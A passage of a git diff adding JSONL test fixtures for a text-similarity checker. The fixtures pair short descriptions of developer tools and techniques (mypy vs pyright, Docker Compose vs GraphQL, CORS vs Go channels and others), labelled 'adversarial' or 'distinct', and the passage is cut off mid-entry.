+{"id": "ad-09", "label": "adversarial", "a": {"name": "mypy-strict-python", "description": "Enforce strict static typing on Python code with mypy's bundled strict flag", "body": "## Overview\n\nmypy is the reference Python type checker. Strict mode turns on all optional checks — disallow-untyped-defs, warn-return-any, no-implicit-optional — as one flag.\n\n## Ecosystem\n\nmypy ships from the Python org, integrates with stubs from typeshed, and supports plugin-based extension for frameworks like SQLAlchemy and Django.\n"}, "b": {"name": "pyright-strict-python", "description": "Type-check Python projects with pyright, Microsoft's fast TypeScript-style checker", "body": "## Overview\n\npyright is a Python type checker written in TypeScript, designed for IDE integration. Strict mode reports any code with missing or incorrect type annotations.\n\n## Ecosystem\n\npyright powers Pylance in VS Code. It's fast enough for interactive feedback, supports inlay hints, and interprets type stubs consistently with mypy.\n"}, "note": "Both Python type checkers in strict mode. Heavy shared vocabulary ('type checking', 'annotations', 'strict') but different implementations, maintainers, and IDE integrations."}
+{"id": "ad-10", "label": "adversarial", "a": {"name": "github-actions-ci", "description": "Define CI/CD pipelines as YAML workflows in .github/workflows running on GitHub-hosted runners", "body": "## Overview\n\nGitHub Actions workflows live under .github/workflows as YAML files. Triggers — push, pull_request, schedule — kick off jobs that run on GitHub-hosted Ubuntu, macOS, or Windows runners.\n\n## Marketplace\n\nActions from the public marketplace slot into steps as uses: org/action@version, covering standard tasks like checkout, caching, and language setup.\n"}, "b": {"name": "gitlab-ci-pipelines", "description": "Define CI/CD pipelines as .gitlab-ci.yml with stages, jobs, and GitLab Runner executors", "body": "## Overview\n\nGitLab pipelines are declared in .gitlab-ci.yml at the repo root. Jobs are grouped into stages that run sequentially; all jobs in a stage run in parallel.\n\n## Runners\n\nGitLab Runner can run jobs on shared SaaS runners, your own servers, or Kubernetes pods — configurable per job via the tags field.\n"}, "note": "Both hosted CI/CD platforms. Same domain, same vocabulary ('pipeline', 'job', 'runner', 'stage'), but different vendors with different YAML DSLs and ecosystems."}
diff --git a/src/tests/fixtures/similarity/distinct_pairs.jsonl b/src/tests/fixtures/similarity/distinct_pairs.jsonl
new file mode 100644
index 0000000000000000000000000000000000000000..017075f6255694f60b5e77883e9280dfb2f486fa
--- /dev/null
+++ b/src/tests/fixtures/similarity/distinct_pairs.jsonl
@@ -0,0 +1,30 @@
+{"id": "dp-01", "label": "distinct", "a": {"name": "python-logging", "description": "Configure Python's standard logging module with handlers, formatters, and levels", "body": "## Overview\n\nThe logging module provides a hierarchical logger tree. Configure root once, then use logging.getLogger(__name__) in each module for namespaced output.\n\n## Handlers\n\nAttach handlers — StreamHandler, FileHandler, RotatingFileHandler — to route log records. Formatters control the output layout.\n"}, "b": {"name": "rust-cargo-workspaces", "description": "Organize Rust multi-crate projects with Cargo workspaces and shared dependencies", "body": "## Overview\n\nA Cargo workspace is a set of crates sharing one Cargo.lock and target directory. The top-level Cargo.toml declares members but owns no source itself.\n\n## Benefits\n\nShared lock files keep dependency versions aligned across crates, and compilation artifacts are cached once across the whole workspace.\n"}, "note": "Python logging vs Rust Cargo — different language, different domain."}
+{"id": "dp-02", "label": "distinct", "a": {"name": "docker-compose", "description": "Define multi-container Docker apps with docker-compose.yml and orchestrate them locally", "body": "## Overview\n\nCompose describes a stack of services, networks, and volumes in one YAML file. docker compose up starts the whole graph; docker compose down tears it down.\n\n## Use cases\n\nLocal development stacks, CI integration tests, and small single-host deployments.\n"}, "b": {"name": "graphql-resolvers", "description": "Implement GraphQL resolvers mapping schema fields to data sources with batching", "body": "## Overview\n\nA resolver is a function returning the value for one schema field. Resolvers compose into a tree matching the query shape; DataLoader batches and caches repeated lookups.\n\n## Pattern\n\nKeep resolvers thin — delegate heavy work to service functions and use DataLoader to avoid N+1 database hits across nested fields.\n"}, "note": "Container orchestration vs GraphQL query resolution."}
+{"id": "dp-03", "label": "distinct", "a": {"name": "react-context-api", "description": "Propagate values down React trees with Context to avoid prop drilling", "body": "## Overview\n\nReact.createContext returns a Provider and Consumer pair. Wrap a subtree in the Provider, and any descendant can read the value via useContext.\n\n## When to use it\n\nContext suits infrequently changing global values — theme, current user, locale. Avoid it for fast-changing state that would re-render the whole subtree.\n"}, "b": {"name": "postgres-vacuum", "description": "Reclaim dead tuples and update statistics with PostgreSQL VACUUM and ANALYZE", "body": "## Overview\n\nPostgres uses MVCC; updates and deletes leave dead tuples until VACUUM removes them. ANALYZE refreshes planner statistics so query plans stay accurate.\n\n## Autovacuum\n\nThe autovacuum daemon runs both automatically based on per-table thresholds. Tune autovacuum_vacuum_scale_factor on hot tables to vacuum more often.\n"}, "note": "React state management vs Postgres MVCC maintenance."}
+{"id": "dp-04", "label": "distinct", "a": {"name": "k8s-ingress", "description": "Expose Kubernetes services externally through Ingress resources and a controller", "body": "## Overview\n\nAn Ingress object maps HTTP hostnames and paths to Services. An Ingress controller — nginx, Traefik, HAProxy — watches Ingress resources and programs the actual proxy.\n\n## TLS\n\nAttach a TLS block referencing a Secret containing certificate and key to serve HTTPS for the specified hosts.\n"}, "b": {"name": "jest-snapshot-testing", "description": "Capture rendered component trees as Jest snapshots to catch unintended changes", "body": "## Overview\n\ntoMatchSnapshot serializes a value into a .snap file on first run and compares on every subsequent run. Mismatches fail the test until the snapshot is updated.\n\n## Caveats\n\nSnapshots decay — large snapshots get rubber-stamped in reviews. Keep them small and focused on structural output, not styling details.\n"}, "note": "Kubernetes ingress vs Jest snapshot testing."}
+{"id": "dp-05", "label": "distinct", "a": {"name": "terraform-state-backend", "description": "Store Terraform state in a remote S3 backend with DynamoDB lock table for safety", "body": "## Overview\n\nRemote state decouples Terraform from any single workstation. S3 holds the .tfstate file; a DynamoDB table provides the lock that prevents concurrent applies.\n\n## Bootstrapping\n\nUse a small local-state Terraform project to create the bucket, lock table, and IAM policies, then migrate the main project's state into them with terraform init -migrate-state.\n"}, "b": {"name": "vue-template-refs", "description": "Access DOM nodes and child components in Vue templates via ref attributes", "body": "## Overview\n\nAttaching ref='name' to an element in a Vue template exposes it as this.$refs.name in the component instance. In the Composition API, use const node = ref(null) and assign ref='node' in the template.\n\n## Timing\n\nRefs are populated after the component mounts. Access them inside onMounted rather than during setup to avoid reading before they exist.\n"}, "note": "Terraform remote state vs Vue DOM refs."}
+{"id": "dp-06", "label": "distinct", "a": {"name": "aws-lambda-layers", "description": "Share dependencies across AWS Lambda functions with Layers for smaller function packages", "body": "## Overview\n\nA Lambda layer is a .zip of shared libraries mounted at /opt in the function runtime. Functions reference layers by ARN; one layer can be used by many functions.\n\n## Limits\n\nA function can attach up to five layers. The total unzipped size — function plus layers — must stay under the 250 MB Lambda limit.\n"}, "b": {"name": "webpack-bundle-analyzer", "description": "Visualize Webpack bundle composition with webpack-bundle-analyzer to find bloat", "body": "## Overview\n\nwebpack-bundle-analyzer generates an interactive treemap of a production bundle, showing each module's size relative to the whole. Run it after a build to spot the top contributors.\n\n## Workflow\n\nAdd the plugin with analyzerMode: 'static' to produce an HTML report, open it in a browser, and chase the largest rectangles until the bundle fits its budget.\n"}, "note": "Lambda packaging vs Webpack bundle analysis."}
+{"id": "dp-07", "label": "distinct", "a": {"name": "git-worktrees", "description": "Check out multiple branches simultaneously with git worktrees sharing one .git directory", "body": "## Overview\n\ngit worktree add creates an additional working directory tied to the same repository. Each worktree has its own checkout, so you can build one branch while editing another without stashing.\n\n## Cleanup\n\nRemove a worktree with git worktree remove; prune stale entries with git worktree prune when a directory was deleted manually.\n"}, "b": {"name": "css-flexbox-layout", "description": "Lay out one-dimensional component rows and columns using CSS flexbox", "body": "## Overview\n\nflexbox handles one-dimensional layout. display: flex on a container lines up its children; justify-content spaces them along the main axis and align-items along the cross axis.\n\n## Children\n\nflex-grow, flex-shrink, and flex-basis — combined as the flex shorthand — control how each child takes unused space or gives up space when the container shrinks.\n"}, "note": "Git worktrees vs CSS flexbox layout."}
+{"id": "dp-08", "label": "distinct", "a": {"name": "mongodb-aggregation", "description": "Shape MongoDB result sets with aggregation pipeline stages like $match and $group", "body": "## Overview\n\nThe aggregation framework is a pipeline of stages. $match filters, $group aggregates, $project shapes output, $lookup joins. Each stage feeds into the next.\n\n## Performance\n\nPlace $match as early as possible so indexes apply; avoid large $lookup or $unwind operations on cold fields.\n"}, "b": {"name": "rust-traits", "description": "Define shared behavior in Rust with traits and implement them on concrete types", "body": "## Overview\n\nA trait declares a set of method signatures. Types implement the trait with an impl Trait for Type block, gaining the trait's methods and letting generic code dispatch on the trait.\n\n## Bounds\n\nGeneric functions constrain type parameters with trait bounds: fn f(x: T). The compiler rejects calls where T doesn't implement every bound.\n"}, "note": "MongoDB aggregation vs Rust traits."}
+{"id": "dp-09", "label": "distinct", "a": {"name": "typescript-generics", "description": "Write reusable TypeScript functions and types parameterized by generic type variables", "body": "## Overview\n\nTypeScript generics let a function or type accept a placeholder type: function identity(x: T): T { return x }. Callers pass a concrete type or let inference choose.\n\n## Constraints\n\nExpress requirements on T with extends: function first(x: T) — the caller must pass something with an id property.\n"}, "b": {"name": "docker-volumes", "description": "Persist container data with Docker named volumes or bind mounts", "body": "## Overview\n\nDocker volumes persist data across container restarts. Named volumes are managed by Docker under /var/lib/docker/volumes; bind mounts map a host path into the container.\n\n## Choosing one\n\nNamed volumes are portable and easier to back up; bind mounts are the right call for source code during local development.\n"}, "note": "TypeScript generics vs Docker volumes."}
+{"id": "dp-10", "label": "distinct", "a": {"name": "fastapi-dependency-injection", "description": "Compose request-scoped resources in FastAPI with the Depends dependency injection system", "body": "## Overview\n\nFastAPI's Depends resolves a callable per request, caches its result within that request, and supplies it to any handler that declares it. Dependencies can themselves depend on other dependencies.\n\n## Patterns\n\nExpress database sessions, auth context, and pagination parameters as dependencies so handlers stay focused on business logic and tests can override any dependency cleanly.\n"}, "b": {"name": "jenkins-pipelines", "description": "Define Jenkins CI/CD pipelines as declarative Jenkinsfile scripts with stages and steps", "body": "## Overview\n\nA declarative Jenkinsfile defines a pipeline with stages and steps. Each stage runs in order; steps inside a stage execute sequentially.\n\n## Agents\n\nPipelines specify an agent (any, docker, label) per pipeline or per stage. Shared libraries let multiple projects reuse pipeline code.\n"}, "note": "FastAPI DI vs Jenkins pipelines."}
+{"id": "dp-11", "label": "distinct", "a": {"name": "django-admin-customize", "description": "Customize the Django admin with ModelAdmin subclasses to tune list views and filters", "body": "## Overview\n\nRegistering a model with a ModelAdmin subclass controls how it appears in the admin: list_display sets columns, list_filter adds sidebar filters, search_fields enables the search box.\n\n## Inlines\n\nInline admin classes embed related models inside a parent's change page — TabularInline for table layout, StackedInline for card layout.\n"}, "b": {"name": "android-jetpack-compose", "description": "Build Android UIs declaratively with Jetpack Compose composable functions", "body": "## Overview\n\nCompose lets you describe UI as @Composable functions that emit widgets. State objects drive recomposition — the framework re-runs the functions that depend on changed state.\n\n## State hoisting\n\nKeep composables stateless when possible and lift state to a parent that owns it, passing value plus onValueChange downwards.\n"}, "note": "Django admin vs Jetpack Compose."}
+{"id": "dp-12", "label": "distinct", "a": {"name": "nginx-reverse-proxy", "description": "Configure nginx as a reverse proxy with upstream blocks, proxy_pass, and TLS termination", "body": "## Overview\n\nnginx can front-end any backend by proxy_pass'ing to an upstream. Define the backend pool in an upstream block, then reference it in a server block listening on 80/443.\n\n## TLS\n\nTerminate TLS at nginx with ssl_certificate and ssl_certificate_key directives; forward plaintext to the backend over a trusted network.\n"}, "b": {"name": "swift-concurrency", "description": "Use Swift's async/await and actors for structured concurrency and data isolation", "body": "## Overview\n\nSwift async functions suspend instead of blocking; await resumes when the awaited task completes. Actors serialize access to their mutable state, preventing data races without locks.\n\n## Tasks\n\nTask { ... } launches unstructured concurrent work; async let binds child tasks inside a parent's scope so cancellation propagates automatically.\n"}, "note": "nginx proxy vs Swift concurrency."}
+{"id": "dp-13", "label": "distinct", "a": {"name": "prometheus-scrape-config", "description": "Configure Prometheus scrape targets with static configs and service discovery", "body": "## Overview\n\nPrometheus pulls metrics from HTTP endpoints listed in scrape_configs. Each job has a scrape_interval and either static_configs or a service-discovery mechanism like Kubernetes SD.\n\n## Relabeling\n\nrelabel_configs rewrite target labels before scraping — typical use is dropping noisy pods or promoting Kubernetes labels into Prometheus labels.\n"}, "b": {"name": "git-reflog-recovery", "description": "Recover lost commits using git reflog after a botched reset or rebase", "body": "## Overview\n\ngit reflog records every movement of HEAD and branch tips locally, even those that are otherwise unreachable. Every commit you made is findable for 90 days by default.\n\n## Recovery\n\nFind the lost commit's hash via git reflog, then git branch rescue  to attach a branch to it, bringing it back into normal history.\n"}, "note": "Prometheus scraping vs git reflog recovery."}
+{"id": "dp-14", "label": "distinct", "a": {"name": "kotlin-coroutines", "description": "Write asynchronous Kotlin code with coroutines, suspend functions, and structured concurrency", "body": "## Overview\n\nsuspend functions can pause and resume without blocking a thread. launch and async start coroutines inside a CoroutineScope; a scope's cancellation propagates to all its children.\n\n## Dispatchers\n\nDispatchers.IO is for blocking IO, Dispatchers.Default for CPU work, Dispatchers.Main for UI. withContext switches dispatcher for a block of code.\n"}, "b": {"name": "spring-security-oauth", "description": "Secure Spring Boot applications with Spring Security OAuth2 resource server support", "body": "## Overview\n\nSpring Security's oauth2-resource-server validates bearer tokens on every request. Configure it with jwt() and point it at an issuer URL; Spring downloads the public keys automatically.\n\n## Method security\n\n@PreAuthorize annotations apply scope or role checks at the method level; combine with @EnableMethodSecurity on a configuration class.\n"}, "note": "Kotlin coroutines vs Spring Security."}
+{"id": "dp-15", "label": "distinct", "a": {"name": "ansible-playbooks", "description": "Automate server configuration with Ansible playbooks grouped into roles and tasks", "body": "## Overview\n\nA playbook is a YAML list of plays; each play targets a group of hosts and runs an ordered set of tasks. Roles bundle related tasks, templates, and files into a directory layout.\n\n## Idempotence\n\nAnsible modules aim for idempotence — running a playbook twice converges the target state rather than making duplicate changes.\n"}, "b": {"name": "sql-window-functions", "description": "Aggregate over partitions of query results with SQL window functions like ROW_NUMBER and LAG", "body": "## Overview\n\nWindow functions compute values across a window of related rows without collapsing the result set. OVER (PARTITION BY ... ORDER BY ...) defines the window.\n\n## Common functions\n\nROW_NUMBER, RANK, DENSE_RANK for ordering; LAG and LEAD for neighbor lookups; SUM/AVG/COUNT for running aggregates inside a partition.\n"}, "note": "Ansible config management vs SQL window functions."}
+{"id": "dp-16", "label": "distinct", "a": {"name": "elasticsearch-mappings", "description": "Define Elasticsearch index mappings with field types, analyzers, and dynamic templates", "body": "## Overview\n\nAn index mapping declares the schema of its documents: text vs keyword vs numeric types, analyzers for tokenization, multi-fields for multiple representations of one source value.\n\n## Dynamic templates\n\ndynamic_templates match newly-seen fields by pattern and assign a mapping — useful for wide event shapes with unknown future fields.\n"}, "b": {"name": "bash-signal-trap", "description": "Handle signals like SIGINT and SIGTERM in bash scripts with the trap builtin", "body": "## Overview\n\ntrap 'cleanup' EXIT runs the cleanup function when the script exits for any reason. Catch SIGINT or SIGTERM separately to react to interactive ^C or docker stop.\n\n## Patterns\n\nWrap a long-running loop in a trap that clears a flag; the loop tests the flag and exits cleanly instead of being killed mid-iteration.\n"}, "note": "Elasticsearch mappings vs bash signal handling."}
+{"id": "dp-17", "label": "distinct", "a": {"name": "ruby-on-rails-active-record", "description": "Model relational tables with Rails ActiveRecord classes, associations, and validations", "body": "## Overview\n\nAn ActiveRecord model maps one-to-one with a database table. has_many, belongs_to, and has_many through: declare associations; validates_* macros enforce invariants before save.\n\n## Scopes\n\nNamed scopes — scope :active, -> { where(active: true) } — produce chainable query fragments that read naturally at call sites.\n"}, "b": {"name": "gpu-cuda-kernels", "description": "Author CUDA kernels that run on NVIDIA GPUs with thread blocks and shared memory", "body": "## Overview\n\nA CUDA kernel launches a grid of thread blocks; each block runs on one streaming multiprocessor. threadIdx, blockIdx, and blockDim give each thread its coordinates.\n\n## Shared memory\n\n__shared__ arrays live per-block and stage data from slow global memory. Coalesce global loads and avoid bank conflicts in shared memory for peak throughput.\n"}, "note": "Rails ORM vs CUDA programming."}
+{"id": "dp-18", "label": "distinct", "a": {"name": "cors-handling", "description": "Configure CORS headers on HTTP APIs to permit cross-origin browser requests safely", "body": "## Overview\n\nBrowsers block cross-origin XHR unless the server returns matching CORS headers. Access-Control-Allow-Origin names the allowed origins; preflight OPTIONS requests negotiate allowed methods and headers.\n\n## Credentials\n\nTo include cookies, set Access-Control-Allow-Credentials: true and specify a concrete origin — wildcards aren't allowed for credentialed requests.\n"}, "b": {"name": "golang-channels", "description": "Coordinate Go goroutines with channels, select statements, and buffered sends", "body": "## Overview\n\nChannels pass values between goroutines: ch <- v sends, <-ch receives. Unbuffered channels synchronize sender and receiver; buffered channels decouple them up to the buffer size.\n\n## Select\n\nA select statement waits on multiple channel operations and proceeds with whichever is ready first, letting one goroutine multiplex across several streams.\n"}, "note": "CORS vs Go channels."}
+{"id": "dp-19", "label": "distinct", "a": {"name": "rust-async-tokio", "description": "Write async Rust with Tokio's runtime, async/await, and structured tasks", "body": "## Overview\n\nTokio is a multi-threaded async runtime for Rust. Async functions return Futures that the runtime polls; tokio::spawn launches a task on the runtime's thread pool.\n\n## IO\n\nTokio wraps standard IO types — TcpStream, UdpSocket, File — with non-blocking equivalents that suspend via await instead of blocking a thread.\n"}, "b": {"name": "html-semantic-elements", "description": "Use HTML5 semantic elements like article, section, and nav for accessible document structure", "body": "## Overview\n\nSemantic elements convey structural meaning screen readers can announce: